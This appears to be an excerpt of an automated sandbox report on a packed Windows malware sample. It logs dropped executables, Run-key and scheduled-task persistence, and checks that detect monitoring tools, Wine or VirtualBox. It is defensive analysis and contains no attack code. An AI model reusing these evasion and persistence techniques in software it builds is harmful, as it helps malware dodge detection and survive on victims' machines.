Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 8ObkdHP9Hq.exe

Static file information: File size 1889792 > 1048576

Source: 8ObkdHP9Hq.exe

Static PE information: Raw size of hicznzml is bigger than: 0x100000 < 0x19bc00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Unpacked PE file: 0.2.8ObkdHP9Hq.exe.880000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hicznzml:EW;rbflpxvq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hicznzml:EW;rbflpxvq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hicznzml:EW;rbflpxvq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hicznzml:EW;rbflpxvq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hicznzml:EW;rbflpxvq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hicznzml:EW;rbflpxvq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Unpacked PE file: 21.2.9d7da53f74.exe.f50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kawjnymv:EW;ldklrfiv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kawjnymv:EW;ldklrfiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Unpacked PE file: 60.2.9d7da53f74.exe.f50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;kawjnymv:EW;ldklrfiv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;kawjnymv:EW;ldklrfiv:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Code function: 6_2_00B242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00B242DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: num.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d74aa should be: 0x1d005d
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x1c1519 should be: 0x1c3efd
Source: 8ObkdHP9Hq.exe	Static PE information: real checksum: 0x1d74aa should be: 0x1d005d
Source: 9d7da53f74.exe.5.dr	Static PE information: real checksum: 0x1c1519 should be: 0x1c3efd

Source: 8ObkdHP9Hq.exe	Static PE information: section name:
Source: 8ObkdHP9Hq.exe	Static PE information: section name: .idata
Source: 8ObkdHP9Hq.exe	Static PE information: section name:
Source: 8ObkdHP9Hq.exe	Static PE information: section name: hicznzml
Source: 8ObkdHP9Hq.exe	Static PE information: section name: rbflpxvq
Source: 8ObkdHP9Hq.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: hicznzml
Source: skotes.exe.0.dr	Static PE information: section name: rbflpxvq
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: kawjnymv
Source: random[1].exe0.5.dr	Static PE information: section name: ldklrfiv
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: 9d7da53f74.exe.5.dr	Static PE information: section name:
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: .rsrc
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: .idata
Source: 9d7da53f74.exe.5.dr	Static PE information: section name:
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: kawjnymv
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: ldklrfiv
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00DBD91C push ecx; ret	5_2_00DBD92F
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B40A76 push ecx; ret	6_2_00B40A89
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: 20_2_00B9B035 push ecx; ret	20_2_00B9B048

Source: 8ObkdHP9Hq.exe	Static PE information: section name: entropy: 7.985482798218243
Source: 8ObkdHP9Hq.exe	Static PE information: section name: hicznzml entropy: 7.954513135451816
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.985482798218243
Source: skotes.exe.0.dr	Static PE information: section name: hicznzml entropy: 7.954513135451816
Source: random[1].exe0.5.dr	Static PE information: section name: entropy: 7.974967457011881
Source: random[1].exe0.5.dr	Static PE information: section name: kawjnymv entropy: 7.953272696615757
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: entropy: 7.974967457011881
Source: 9d7da53f74.exe.5.dr	Static PE information: section name: kawjnymv entropy: 7.953272696615757

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 84d280a9e8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9d7da53f74.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 84d280a9e8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 84d280a9e8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9d7da53f74.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9d7da53f74.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00B3F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_00B3F98E
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Code function: 6_2_00BB1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_00BB1C41

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Code function: 20_2_00B99C10 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

20_2_00B99C10

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_6-97081

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
